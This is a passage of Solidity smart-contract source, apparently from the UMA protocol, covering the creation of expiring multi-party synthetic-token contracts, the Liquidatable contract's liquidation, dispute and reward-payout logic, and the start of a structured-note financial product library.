string syntheticName;
string syntheticSymbol;
FixedPoint.Unsigned collateralRequirement;
FixedPoint.Unsigned disputeBondPercentage;
FixedPoint.Unsigned sponsorDisputeRewardPercentage;
FixedPoint.Unsigned disputerDisputeRewardPercentage;
FixedPoint.Unsigned minSponsorTokens;
uint256 withdrawalLiveness;
uint256 liquidationLiveness;
address financialProductLibraryAddress;
}
// Address of TokenFactory used to create a new synthetic token.
address public tokenFactoryAddress;
event CreatedExpiringMultiParty(address indexed expiringMultiPartyAddress, address indexed deployerAddress);
/**
* @notice Constructs the ExpiringMultiPartyCreator contract.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _tokenFactoryAddress ERC20 token factory used to deploy synthetic token instances.
* @param _timerAddress Contract that stores the current time in a testing environment.
*/
constructor(
address _finderAddress,
address _tokenFactoryAddress,
address _timerAddress
) public ContractCreator(_finderAddress) Testable(_timerAddress) nonReentrant() {
tokenFactoryAddress = _tokenFactoryAddress;
}
/**
* @notice Creates an instance of expiring multi party and registers it within the registry.
* @param params is a `ConstructorParams` object from ExpiringMultiParty.
* @return address of the deployed ExpiringMultiParty contract.
*/
function createExpiringMultiParty(Params memory params) public nonReentrant() returns (address) {
// Create a new synthetic token using the params.
require(bytes(params.syntheticName).length != 0, "Missing synthetic name");
require(bytes(params.syntheticSymbol).length != 0, "Missing synthetic symbol");
TokenFactory tf = TokenFactory(tokenFactoryAddress);
// If the collateral token does not have a `decimals()` method, then a default precision of 18 will be
// applied to the newly created synthetic token.
uint8 syntheticDecimals = _getSyntheticDecimals(params.collateralAddress);
ExpandedIERC20 tokenCurrency = tf.createToken(params.syntheticName, params.syntheticSymbol, syntheticDecimals);
address derivative = ExpiringMultiPartyLib.deploy(_convertParams(params, tokenCurrency));
// Give permissions to new derivative contract and then hand over ownership.
tokenCurrency.addMinter(derivative);
tokenCurrency.addBurner(derivative);
tokenCurrency.resetOwner(derivative);
_registerContract(new address[](0), derivative);
emit CreatedExpiringMultiParty(derivative, msg.sender);
return derivative;
}
/****************************************
* PRIVATE FUNCTIONS *
****************************************/
// Converts createExpiringMultiParty params to ExpiringMultiParty constructor params.
function _convertParams(Params memory params, ExpandedIERC20 newTokenCurrency)
private
view
returns (ExpiringMultiParty.ConstructorParams memory constructorParams)
{
// Known from creator deployment.
constructorParams.finderAddress = finderAddress;
constructorParams.timerAddress = timerAddress;
// Enforce configuration constraints.
require(params.withdrawalLiveness != 0, "Withdrawal liveness cannot be 0");
require(params.liquidationLiveness != 0, "Liquidation liveness cannot be 0");
require(params.expirationTimestamp > now, "Invalid expiration time");
_requireWhitelistedCollateral(params.collateralAddress);
// We don't want EMP deployers to be able to intentionally or unintentionally set
// liveness periods that could induce arithmetic overflow, but we also don't want
// to be opinionated about what livenesses are "correct", so we will somewhat
// arbitrarily set the liveness upper bound to 100 years (5200 weeks). In practice, liveness
// periods even greater than a few days would make the EMP unusable for most users.
require(params.withdrawalLiveness < 5200 weeks, "Withdrawal liveness too large");
require(params.liquidationLiveness < 5200 weeks, "Liquidation liveness too large");
// Input from function call.
constructorParams.tokenAddress = address(newTokenCurrency);
constructorParams.expirationTimestamp = params.expirationTimestamp;
constructorParams.collateralAddress = params.collateralAddress;
constructorParams.priceFeedIdentifier = params.priceFeedIdentifier;
constructorParams.collateralRequirement = params.collateralRequirement;
constructorParams.disputeBondPercentage = params.disputeBondPercentage;
constructorParams.sponsorDisputeRewardPercentage = params.sponsorDisputeRewardPercentage;
constructorParams.disputerDisputeRewardPercentage = params.disputerDisputeRewardPercentage;
constructorParams.minSponsorTokens = params.minSponsorTokens;
constructorParams.withdrawalLiveness = params.withdrawalLiveness;
constructorParams.liquidationLiveness = params.liquidationLiveness;
constructorParams.financialProductLibraryAddress = params.financialProductLibraryAddress;
}
// IERC20Standard.decimals() will revert if the collateral contract has not implemented the decimals() method,
// which is possible since the method is only an OPTIONAL method in the ERC20 standard:
// https://eips.ethereum.org/EIPS/eip-20#methods.
function _getSyntheticDecimals(address _collateralAddress) public view returns (uint8 decimals) {
try IERC20Standard(_collateralAddress).decimals() returns (uint8 _decimals) {
return _decimals;
} catch {
return 18;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./ExpiringMultiParty.sol";
/**
* @title Provides convenient Expiring Multi Party contract utilities.
* @dev Using this library to deploy EMP's allows calling contracts to avoid importing the full EMP bytecode.
*/
library ExpiringMultiPartyLib {
/**
* @notice Returns address of new EMP deployed with given `params` configuration.
* @dev Caller will need to register new EMP with the Registry to begin requesting prices. Caller is also
* responsible for enforcing constraints on `params`.
* @param params is a `ConstructorParams` object from ExpiringMultiParty.
* @return address of the deployed ExpiringMultiParty contract
*/
function deploy(ExpiringMultiParty.ConstructorParams memory params) public returns (address) {
ExpiringMultiParty derivative = new ExpiringMultiParty(params);
return address(derivative);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./Liquidatable.sol";
/**
* @title Expiring Multi Party.
* @notice Convenient wrapper for Liquidatable.
*/
contract ExpiringMultiParty is Liquidatable {
/**
* @notice Constructs the ExpiringMultiParty contract.
* @param params struct to define input parameters for construction of Liquidatable. Some params
* are fed directly into the PricelessPositionManager's constructor within the inheritance tree.
*/
constructor(ConstructorParams memory params)
public
Liquidatable(params)
// Note: since there is no logic here, there is no need to add a re-entrancy guard.
{
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./PricelessPositionManager.sol";
import "../../common/implementation/FixedPoint.sol";
/**
* @title Liquidatable
* @notice Adds logic to a position-managing contract that enables callers to liquidate an undercollateralized position.
* @dev The liquidation has a liveness period before expiring successfully, during which someone can "dispute" the
* liquidation, which sends a price request to the relevant Oracle to settle the final collateralization ratio based on
* a DVM price. The contract enforces dispute rewards in order to incentivize disputers to correctly dispute false
* liquidations and compensate position sponsors who had their position incorrectly liquidated. Importantly, a
* prospective disputer must deposit a dispute bond that they can lose in the case of an unsuccessful dispute.
* NOTE: this contract does _not_ work with ERC777 collateral currencies or any others that call into the receiver on
* transfer(). Using an ERC777 token would allow a user to maliciously grief other participants (while also losing
* money themselves).
*/
contract Liquidatable is PricelessPositionManager {
using FixedPoint for FixedPoint.Unsigned;
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
/****************************************
* LIQUIDATION DATA STRUCTURES *
****************************************/
// Because of the check in withdrawable(), the order of these enum values should not change.
enum Status { Uninitialized, NotDisputed, Disputed, DisputeSucceeded, DisputeFailed }
struct LiquidationData {
// Following variables set upon creation of liquidation:
address sponsor; // Address of the liquidated position's sponsor
address liquidator; // Address who created this liquidation
Status state; // Liquidated (and expired or not), Pending a Dispute, or Dispute has resolved
uint256 liquidationTime; // Time when liquidation is initiated, needed to get price from Oracle
// Following variables determined by the position that is being liquidated:
FixedPoint.Unsigned tokensOutstanding; // Synthetic tokens required to be burned by liquidator to initiate dispute
FixedPoint.Unsigned lockedCollateral; // Collateral locked by contract and released upon expiry or post-dispute
// Amount of collateral being liquidated, which could be different from
// lockedCollateral if there were pending withdrawals at the time of liquidation
FixedPoint.Unsigned liquidatedCollateral;
// Unit value (starts at 1) that is used to track the fees per unit of collateral over the course of the liquidation.
FixedPoint.Unsigned rawUnitCollateral;
// Following variable set upon initiation of a dispute:
address disputer; // Person who is disputing a liquidation
// Following variable set upon a resolution of a dispute:
FixedPoint.Unsigned settlementPrice; // Final price as determined by an Oracle following a dispute
FixedPoint.Unsigned finalFee;
}
// Define the contract's constructor parameters as a struct to enable more variables to be specified.
// This is required to enable more params, over and above Solidity's limits.
struct ConstructorParams {
// Params for PricelessPositionManager only.
uint256 expirationTimestamp;
uint256 withdrawalLiveness;
address collateralAddress;
address tokenAddress;
address finderAddress;
address timerAddress;
address financialProductLibraryAddress;
bytes32 priceFeedIdentifier;
FixedPoint.Unsigned minSponsorTokens;
// Params specifically for Liquidatable.
uint256 liquidationLiveness;
FixedPoint.Unsigned collateralRequirement;
FixedPoint.Unsigned disputeBondPercentage;
FixedPoint.Unsigned sponsorDisputeRewardPercentage;
FixedPoint.Unsigned disputerDisputeRewardPercentage;
}
// This struct is used in the `withdrawLiquidation` method that disperses liquidation and dispute rewards.
// `payToX` stores the total collateral to withdraw from the contract to pay X. This value might differ
// from `paidToX` due to precision loss between accounting for the `rawCollateral` versus the
// fee-adjusted collateral. These variables are stored within a struct to avoid the stack too deep error.
struct RewardsData {
FixedPoint.Unsigned payToSponsor;
FixedPoint.Unsigned payToLiquidator;
FixedPoint.Unsigned payToDisputer;
FixedPoint.Unsigned paidToSponsor;
FixedPoint.Unsigned paidToLiquidator;
FixedPoint.Unsigned paidToDisputer;
}
// Liquidations are unique by ID per sponsor
mapping(address => LiquidationData[]) public liquidations;
// Total collateral in liquidation.
FixedPoint.Unsigned public rawLiquidationCollateral;
// Immutable contract parameters:
// Amount of time for pending liquidation before expiry.
// !!Note: The lower the liquidation liveness value, the more risk incurred by sponsors.
// Extremely low liveness values increase the chance that opportunistic invalid liquidations
// expire without dispute, thereby decreasing the usability for sponsors and increasing the risk
// for the contract as a whole. An insolvent contract is extremely risky for any sponsor or synthetic
// token holder for the contract.
uint256 public liquidationLiveness;
// Required collateral:TRV ratio for a position to be considered sufficiently collateralized.
FixedPoint.Unsigned public collateralRequirement;
// Percent of a Liquidation/Position's lockedCollateral to be deposited by a potential disputer
// Represented as a multiplier, for example 1.5e18 = "150%" and 0.05e18 = "5%"
FixedPoint.Unsigned public disputeBondPercentage;
// Percent of oraclePrice paid to sponsor in the Disputed state (i.e. following a successful dispute)
// Represented as a multiplier, see above.
FixedPoint.Unsigned public sponsorDisputeRewardPercentage;
// Percent of oraclePrice paid to disputer in the Disputed state (i.e. following a successful dispute)
// Represented as a multiplier, see above.
FixedPoint.Unsigned public disputerDisputeRewardPercentage;
/****************************************
* EVENTS *
****************************************/
event LiquidationCreated(
address indexed sponsor,
address indexed liquidator,
uint256 indexed liquidationId,
uint256 tokensOutstanding,
uint256 lockedCollateral,
uint256 liquidatedCollateral,
uint256 liquidationTime
);
event LiquidationDisputed(
address indexed sponsor,
address indexed liquidator,
address indexed disputer,
uint256 liquidationId,
uint256 disputeBondAmount
);
event DisputeSettled(
address indexed caller,
address indexed sponsor,
address indexed liquidator,
address disputer,
uint256 liquidationId,
bool disputeSucceeded
);
event LiquidationWithdrawn(
address indexed caller,
uint256 paidToLiquidator,
uint256 paidToDisputer,
uint256 paidToSponsor,
Status indexed liquidationStatus,
uint256 settlementPrice
);
/****************************************
* MODIFIERS *
****************************************/
modifier disputable(uint256 liquidationId, address sponsor) {
_disputable(liquidationId, sponsor);
_;
}
modifier withdrawable(uint256 liquidationId, address sponsor) {
_withdrawable(liquidationId, sponsor);
_;
}
/**
* @notice Constructs the liquidatable contract.
* @param params struct to define input parameters for construction of Liquidatable. Some params
* are fed directly into the PricelessPositionManager's constructor within the inheritance tree.
*/
constructor(ConstructorParams memory params)
public
PricelessPositionManager(
params.expirationTimestamp,
params.withdrawalLiveness,
params.collateralAddress,
params.tokenAddress,
params.finderAddress,
params.priceFeedIdentifier,
params.minSponsorTokens,
params.timerAddress,
params.financialProductLibraryAddress
)
nonReentrant()
{
require(params.collateralRequirement.isGreaterThan(1));
require(params.sponsorDisputeRewardPercentage.add(params.disputerDisputeRewardPercentage).isLessThan(1));
// Set liquidatable specific variables.
liquidationLiveness = params.liquidationLiveness;
collateralRequirement = params.collateralRequirement;
disputeBondPercentage = params.disputeBondPercentage;
sponsorDisputeRewardPercentage = params.sponsorDisputeRewardPercentage;
disputerDisputeRewardPercentage = params.disputerDisputeRewardPercentage;
}
/****************************************
* LIQUIDATION FUNCTIONS *
****************************************/
/**
* @notice Liquidates the sponsor's position if the caller has enough
* synthetic tokens to retire the position's outstanding tokens. Liquidations above
* a minimum size also reset an ongoing "slow withdrawal"'s liveness.
* @dev This method generates an ID that will uniquely identify liquidation for the sponsor. This contract must be
* approved to spend at least `tokensLiquidated` of `tokenCurrency` and at least `finalFeeBond` of `collateralCurrency`.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @param sponsor address of the sponsor to liquidate.
* @param minCollateralPerToken abort the liquidation if the position's collateral per token is below this value.
* @param maxCollateralPerToken abort the liquidation if the position's collateral per token exceeds this value.
* @param maxTokensToLiquidate max number of tokens to liquidate.
* @param deadline abort the liquidation if the transaction is mined after this timestamp.
* @return liquidationId ID of the newly created liquidation.
* @return tokensLiquidated amount of synthetic tokens removed and liquidated from the `sponsor`'s position.
* @return finalFeeBond amount of collateral to be posted by liquidator and returned if not disputed successfully.
*/
function createLiquidation(
address sponsor,
FixedPoint.Unsigned calldata minCollateralPerToken,
FixedPoint.Unsigned calldata maxCollateralPerToken,
FixedPoint.Unsigned calldata maxTokensToLiquidate,
uint256 deadline
)
external
fees()
onlyPreExpiration()
nonReentrant()
returns (
uint256 liquidationId,
FixedPoint.Unsigned memory tokensLiquidated,
FixedPoint.Unsigned memory finalFeeBond
)
{
// Check that this transaction was mined pre-deadline.
require(getCurrentTime() <= deadline, "Mined after deadline");
// Retrieve Position data for sponsor
PositionData storage positionToLiquidate = _getPositionData(sponsor);
tokensLiquidated = FixedPoint.min(maxTokensToLiquidate, positionToLiquidate.tokensOutstanding);
require(tokensLiquidated.isGreaterThan(0));
// Starting values for the Position being liquidated. If withdrawal request amount is > position's collateral,
// then set this to 0, otherwise set it to (startCollateral - withdrawal request amount).
FixedPoint.Unsigned memory startCollateral = _getFeeAdjustedCollateral(positionToLiquidate.rawCollateral);
FixedPoint.Unsigned memory startCollateralNetOfWithdrawal = FixedPoint.fromUnscaledUint(0);
if (positionToLiquidate.withdrawalRequestAmount.isLessThanOrEqual(startCollateral)) {
startCollateralNetOfWithdrawal = startCollateral.sub(positionToLiquidate.withdrawalRequestAmount);
}
// Scoping to get rid of a stack too deep error.
{
FixedPoint.Unsigned memory startTokens = positionToLiquidate.tokensOutstanding;
// The Position's collateralization ratio must be between [minCollateralPerToken, maxCollateralPerToken].
// maxCollateralPerToken >= startCollateralNetOfWithdrawal / startTokens.
require(
maxCollateralPerToken.mul(startTokens).isGreaterThanOrEqual(startCollateralNetOfWithdrawal),
"CR is more than max liq. price"
);
// minCollateralPerToken >= startCollateralNetOfWithdrawal / startTokens.
require(
minCollateralPerToken.mul(startTokens).isLessThanOrEqual(startCollateralNetOfWithdrawal),
"CR is less than min liq. price"
);
}
// Compute final fee at time of liquidation.
finalFeeBond = _computeFinalFees();
// These will be populated within the scope below.
FixedPoint.Unsigned memory lockedCollateral;
FixedPoint.Unsigned memory liquidatedCollateral;
// Scoping to get rid of a stack too deep error.
{
FixedPoint.Unsigned memory ratio = tokensLiquidated.div(positionToLiquidate.tokensOutstanding);
// The actual amount of collateral that gets moved to the liquidation.
lockedCollateral = startCollateral.mul(ratio);
// For purposes of disputes, it's actually this liquidatedCollateral value that's used. This value is net of
// withdrawal requests.
liquidatedCollateral = startCollateralNetOfWithdrawal.mul(ratio);
// Part of the withdrawal request is also removed. Ideally:
// liquidatedCollateral + withdrawalAmountToRemove = lockedCollateral.
FixedPoint.Unsigned memory withdrawalAmountToRemove =
positionToLiquidate.withdrawalRequestAmount.mul(ratio);
_reduceSponsorPosition(sponsor, tokensLiquidated, lockedCollateral, withdrawalAmountToRemove);
}
// Add to the global liquidation collateral count.
_addCollateral(rawLiquidationCollateral, lockedCollateral.add(finalFeeBond));
// Construct liquidation object.
// Note: All dispute-related values are zeroed out until a dispute occurs. liquidationId is the index of the new
// LiquidationData that is pushed into the array, which is equal to the current length of the array pre-push.
liquidationId = liquidations[sponsor].length;
liquidations[sponsor].push(
LiquidationData({
sponsor: sponsor,
liquidator: msg.sender,
state: Status.NotDisputed,
liquidationTime: getCurrentTime(),
tokensOutstanding: tokensLiquidated,
lockedCollateral: lockedCollateral,
liquidatedCollateral: liquidatedCollateral,
rawUnitCollateral: _convertToRawCollateral(FixedPoint.fromUnscaledUint(1)),
disputer: address(0),
settlementPrice: FixedPoint.fromUnscaledUint(0),
finalFee: finalFeeBond
})
);
// If this liquidation is a subsequent liquidation on the position, and the liquidation size is larger than
// some "griefing threshold", then re-set the liveness. This enables a liquidation against a withdraw request to be
// "dragged out" if the position is very large and liquidators need time to gather funds. The griefing threshold
// is enforced so that liquidations for trivially small # of tokens cannot drag out an honest sponsor's slow withdrawal.
// We arbitrarily set the "griefing threshold" to `minSponsorTokens` because it is the only parameter
// denominated in token currency units and we can avoid adding another parameter.
FixedPoint.Unsigned memory griefingThreshold = minSponsorTokens;
if (
positionToLiquidate.withdrawalRequestPassTimestamp > 0 && // The position is undergoing a slow withdrawal.
positionToLiquidate.withdrawalRequestPassTimestamp > getCurrentTime() && // The slow withdrawal has not yet expired.
tokensLiquidated.isGreaterThanOrEqual(griefingThreshold) // The liquidated token count is above a "griefing threshold".
) {
positionToLiquidate.withdrawalRequestPassTimestamp = getCurrentTime().add(withdrawalLiveness);
}
emit LiquidationCreated(
sponsor,
msg.sender,
liquidationId,
tokensLiquidated.rawValue,
lockedCollateral.rawValue,
liquidatedCollateral.rawValue,
getCurrentTime()
);
// Destroy tokens
tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensLiquidated.rawValue);
tokenCurrency.burn(tokensLiquidated.rawValue);
// Pull final fee from liquidator.
collateralCurrency.safeTransferFrom(msg.sender, address(this), finalFeeBond.rawValue);
}
/**
* @notice Disputes a liquidation, if the caller has enough collateral to post a dispute bond
* and pay a fixed final fee charged on each price request.
* @dev Can only dispute a liquidation before the liquidation expires and if there are no other pending disputes.
* This contract must be approved to spend at least the dispute bond amount of `collateralCurrency`. This dispute
* bond amount is calculated from `disputeBondPercentage` times the collateral in the liquidation.
* @param liquidationId of the disputed liquidation.
* @param sponsor the address of the sponsor whose liquidation is being disputed.
* @return totalPaid amount of collateral charged to disputer (i.e. final fee bond + dispute bond).
*/
function dispute(uint256 liquidationId, address sponsor)
external
disputable(liquidationId, sponsor)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory totalPaid)
{
LiquidationData storage disputedLiquidation = _getLiquidationData(sponsor, liquidationId);
// Multiply by the unit collateral so the dispute bond is a percentage of the locked collateral after fees.
FixedPoint.Unsigned memory disputeBondAmount =
disputedLiquidation.lockedCollateral.mul(disputeBondPercentage).mul(
_getFeeAdjustedCollateral(disputedLiquidation.rawUnitCollateral)
);
_addCollateral(rawLiquidationCollateral, disputeBondAmount);
// Request a price from DVM. Liquidation is pending dispute until DVM returns a price.
disputedLiquidation.state = Status.Disputed;
disputedLiquidation.disputer = msg.sender;
// Enqueue a request with the DVM.
_requestOraclePriceLiquidation(disputedLiquidation.liquidationTime);
emit LiquidationDisputed(
sponsor,
disputedLiquidation.liquidator,
msg.sender,
liquidationId,
disputeBondAmount.rawValue
);
totalPaid = disputeBondAmount.add(disputedLiquidation.finalFee);
// Pay the final fee for requesting price from the DVM.
_payFinalFees(msg.sender, disputedLiquidation.finalFee);
// Transfer the dispute bond amount from the caller to this contract.
collateralCurrency.safeTransferFrom(msg.sender, address(this), disputeBondAmount.rawValue);
}
/**
* @notice After a dispute has settled or after a non-disputed liquidation has expired,
* anyone can call this method to disperse payments to the sponsor, liquidator, and disdputer.
* @dev If the dispute SUCCEEDED: the sponsor, liquidator, and disputer are eligible for payment.
* If the dispute FAILED: only the liquidator can receive payment.
* This method will revert if rewards have already been dispersed.
* @param liquidationId uniquely identifies the sponsor's liquidation.
* @param sponsor address of the sponsor associated with the liquidation.
* @return data about rewards paid out.
*/
function withdrawLiquidation(uint256 liquidationId, address sponsor)
public
withdrawable(liquidationId, sponsor)
fees()
nonReentrant()
returns (RewardsData memory)
{
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
// Settles the liquidation if necessary. This call will revert if the price has not resolved yet.
_settle(liquidationId, sponsor);
// Calculate rewards as a function of the TRV.
// Note: all payouts are scaled by the unit collateral value so all payouts are charged the fees pro rata.
FixedPoint.Unsigned memory feeAttenuation = _getFeeAdjustedCollateral(liquidation.rawUnitCollateral);
FixedPoint.Unsigned memory settlementPrice = liquidation.settlementPrice;
FixedPoint.Unsigned memory tokenRedemptionValue =
liquidation.tokensOutstanding.mul(settlementPrice).mul(feeAttenuation);
FixedPoint.Unsigned memory collateral = liquidation.lockedCollateral.mul(feeAttenuation);
FixedPoint.Unsigned memory disputerDisputeReward = disputerDisputeRewardPercentage.mul(tokenRedemptionValue);
FixedPoint.Unsigned memory sponsorDisputeReward = sponsorDisputeRewardPercentage.mul(tokenRedemptionValue);
FixedPoint.Unsigned memory disputeBondAmount = collateral.mul(disputeBondPercentage);
FixedPoint.Unsigned memory finalFee = liquidation.finalFee.mul(feeAttenuation);
// There are three main outcome states: either the dispute succeeded, failed or was not updated.
// Based on the state, different parties of a liquidation receive different amounts.
// After assigning rewards based on the liquidation status, decrease the total collateral held in this contract
// by the amount to pay each party. The actual amounts withdrawn might differ if _removeCollateral causes
// precision loss.
RewardsData memory rewards;
if (liquidation.state == Status.DisputeSucceeded) {
// If the dispute is successful then all three users should receive rewards:
// Pay DISPUTER: disputer reward + dispute bond + returned final fee
rewards.payToDisputer = disputerDisputeReward.add(disputeBondAmount).add(finalFee);
// Pay SPONSOR: remaining collateral (collateral - TRV) + sponsor reward
rewards.payToSponsor = sponsorDisputeReward.add(collateral.sub(tokenRedemptionValue));
// Pay LIQUIDATOR: TRV - dispute reward - sponsor reward
// If TRV > Collateral, then subtract rewards from collateral
// NOTE: `payToLiquidator` should never be below zero since we enforce that
// (sponsorDisputePct+disputerDisputePct) <= 1 in the constructor when these params are set.
rewards.payToLiquidator = tokenRedemptionValue.sub(sponsorDisputeReward).sub(disputerDisputeReward);
// Transfer rewards and debit collateral
rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator);
rewards.paidToSponsor = _removeCollateral(rawLiquidationCollateral, rewards.payToSponsor);
rewards.paidToDisputer = _removeCollateral(rawLiquidationCollateral, rewards.payToDisputer);
collateralCurrency.safeTransfer(liquidation.disputer, rewards.paidToDisputer.rawValue);
collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue);
collateralCurrency.safeTransfer(liquidation.sponsor, rewards.paidToSponsor.rawValue);
// In the case of a failed dispute only the liquidator can withdraw.
} else if (liquidation.state == Status.DisputeFailed) {
// Pay LIQUIDATOR: collateral + dispute bond + returned final fee
rewards.payToLiquidator = collateral.add(disputeBondAmount).add(finalFee);
// Transfer rewards and debit collateral
rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator);
collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue);
// If the state is pre-dispute but time has passed liveness then there was no dispute. We represent this
// state as a dispute failed and the liquidator can withdraw.
} else if (liquidation.state == Status.NotDisputed) {
// Pay LIQUIDATOR: collateral + returned final fee
rewards.payToLiquidator = collateral.add(finalFee);
// Transfer rewards and debit collateral
rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator);
collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue);
}
emit LiquidationWithdrawn(
msg.sender,
rewards.paidToLiquidator.rawValue,
rewards.paidToDisputer.rawValue,
rewards.paidToSponsor.rawValue,
liquidation.state,
settlementPrice.rawValue
);
// Free up space after collateral is withdrawn by removing the liquidation object from the array.
delete liquidations[sponsor][liquidationId];
return rewards;
}
/**
* @notice Gets all liquidation information for a given sponsor address.
* @param sponsor address of the position sponsor.
* @return liquidationData array of all liquidation information for the given sponsor address.
*/
function getLiquidations(address sponsor)
external
view
nonReentrantView()
returns (LiquidationData[] memory liquidationData)
{
return liquidations[sponsor];
}
/**
* @notice Accessor method to calculate a transformed collateral requirement using the finanical product library
specified during contract deployment. If no library was provided then no modification to the collateral requirement is done.
* @param price input price used as an input to transform the collateral requirement.
* @return transformedCollateralRequirement collateral requirement with transformation applied to it.
* @dev This method should never revert.
*/
function transformCollateralRequirement(FixedPoint.Unsigned memory price)
public
view
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
return _transformCollateralRequirement(price);
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// This settles a liquidation if it is in the Disputed state. If not, it will immediately return.
// If the liquidation is in the Disputed state, but a price is not available, this will revert.
function _settle(uint256 liquidationId, address sponsor) internal {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
// Settlement only happens when state == Disputed and will only happen once per liquidation.
// If this liquidation is not ready to be settled, this method should return immediately.
if (liquidation.state != Status.Disputed) {
return;
}
// Get the returned price from the oracle. If this has not yet resolved will revert.
liquidation.settlementPrice = _getOraclePriceLiquidation(liquidation.liquidationTime);
// Find the value of the tokens in the underlying collateral.
FixedPoint.Unsigned memory tokenRedemptionValue =
liquidation.tokensOutstanding.mul(liquidation.settlementPrice);
// The required collateral is the value of the tokens in underlying * required collateral ratio. The Transform
// Collateral requirement method applies a from the financial Product library to change the scaled the collateral
// requirement based on the settlement price. If no library was specified when deploying the emp then this makes no change.
FixedPoint.Unsigned memory requiredCollateral =
tokenRedemptionValue.mul(_transformCollateralRequirement(liquidation.settlementPrice));
// If the position has more than the required collateral it is solvent and the dispute is valid(liquidation is invalid)
// Note that this check uses the liquidatedCollateral not the lockedCollateral as this considers withdrawals.
bool disputeSucceeded = liquidation.liquidatedCollateral.isGreaterThanOrEqual(requiredCollateral);
liquidation.state = disputeSucceeded ? Status.DisputeSucceeded : Status.DisputeFailed;
emit DisputeSettled(
msg.sender,
sponsor,
liquidation.liquidator,
liquidation.disputer,
liquidationId,
disputeSucceeded
);
}
function _pfc() internal view override returns (FixedPoint.Unsigned memory) {
return super._pfc().add(_getFeeAdjustedCollateral(rawLiquidationCollateral));
}
function _getLiquidationData(address sponsor, uint256 liquidationId)
internal
view
returns (LiquidationData storage liquidation)
{
LiquidationData[] storage liquidationArray = liquidations[sponsor];
// Revert if the caller is attempting to access an invalid liquidation
// (one that has never been created or one has never been initialized).
require(
liquidationId < liquidationArray.length && liquidationArray[liquidationId].state != Status.Uninitialized,
"Invalid liquidation ID"
);
return liquidationArray[liquidationId];
}
function _getLiquidationExpiry(LiquidationData storage liquidation) internal view returns (uint256) {
return liquidation.liquidationTime.add(liquidationLiveness);
}
// These internal functions are supposed to act identically to modifiers, but re-used modifiers
// unnecessarily increase contract bytecode size.
// source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6
function _disputable(uint256 liquidationId, address sponsor) internal view {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
require(
(getCurrentTime() < _getLiquidationExpiry(liquidation)) && (liquidation.state == Status.NotDisputed),
"Liquidation not disputable"
);
}
function _withdrawable(uint256 liquidationId, address sponsor) internal view {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
Status state = liquidation.state;
// Must be disputed or the liquidation has passed expiry.
require(
(state > Status.NotDisputed) ||
((_getLiquidationExpiry(liquidation) <= getCurrentTime()) && (state == Status.NotDisputed)),
"Liquidation not withdrawable"
);
}
function _transformCollateralRequirement(FixedPoint.Unsigned memory price)
internal
view
returns (FixedPoint.Unsigned memory)
{
if (!address(financialProductLibrary).isContract()) return collateralRequirement;
try financialProductLibrary.transformCollateralRequirement(price, collateralRequirement) returns (
FixedPoint.Unsigned memory transformedCollateralRequirement
) {
return transformedCollateralRequirement;
} catch {
return collateralRequirement;
}
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./FinancialProductLibrary.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "../../../common/implementation/Lockable.sol";
/**
* @title Structured Note Financial Product Library
* @notice Adds custom price transformation logic to modify the behavior of the expiring multi party contract. The
* contract holds say 1 WETH in collateral and pays out that 1 WETH if, at expiry, ETHUSD is below a set strike. If
* ETHUSD is above that strike, the contract pays out a given dollar amount of ETH.
* Example: expiry is DEC 31. Strike is $400. Each token is backed by 1 WETH
* If ETHUSD < $400 at expiry, token is redeemed for 1 ETH.
* If ETHUSD >= $400 at expiry, token is redeemed for $400 worth of ETH, as determined by the DVM.
*/
contract StructuredNoteFinancialProductLibrary is FinancialProductLibrary, Ownable, Lockable {
mapping(address => FixedPoint.Unsigned) financialProductStrikes;
/**
* @notice Enables the deployer of the library to set the strike price for an associated financial product.
* @param financialProduct address of the financial product.
* @param strikePrice the strike price for the structured note to be applied to the financial product.
* @dev Note: a) Only the owner (deployer) of this library can set new strike prices b) A strike price cannot be 0.
* c) A strike price can only be set once to prevent the deployer from changing the strike after the fact.
* d) financialProduct must exposes an expirationTimestamp method.
*/
function setFinancialProductStrike(address financialProduct, FixedPoint.Unsigned memory strikePrice)
public
onlyOwner
nonReentrant()
{
require(strikePrice.isGreaterThan(0), "Cant set 0 strike");
require(financialProductStrikes[financialProduct].isEqual(0), "Strike already set");
require(ExpiringContractInterface(financialProduct).expirationTimestamp() != 0, "Invalid EMP contract");
financialProductStrikes[financialProduct] = strikePrice;
}
/**
* @notice Returns the strike price associated with a given financial product address.
* @param financialProduct address of the financial product.
* @return strikePrice for the associated financial product.
*/
function getStrikeForFinancialProduct(address financialProduct)
public
view
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
return financialProductStrikes[financialProduct];
}
/**
* @notice Returns a transformed price by applying the structured note payout structure.
* @param oraclePrice price from the oracle to be transformed.
* @param requestTime timestamp the oraclePrice was requested at.
* @return transformedPrice the input oracle price with the price transformation logic applied to it.
*/
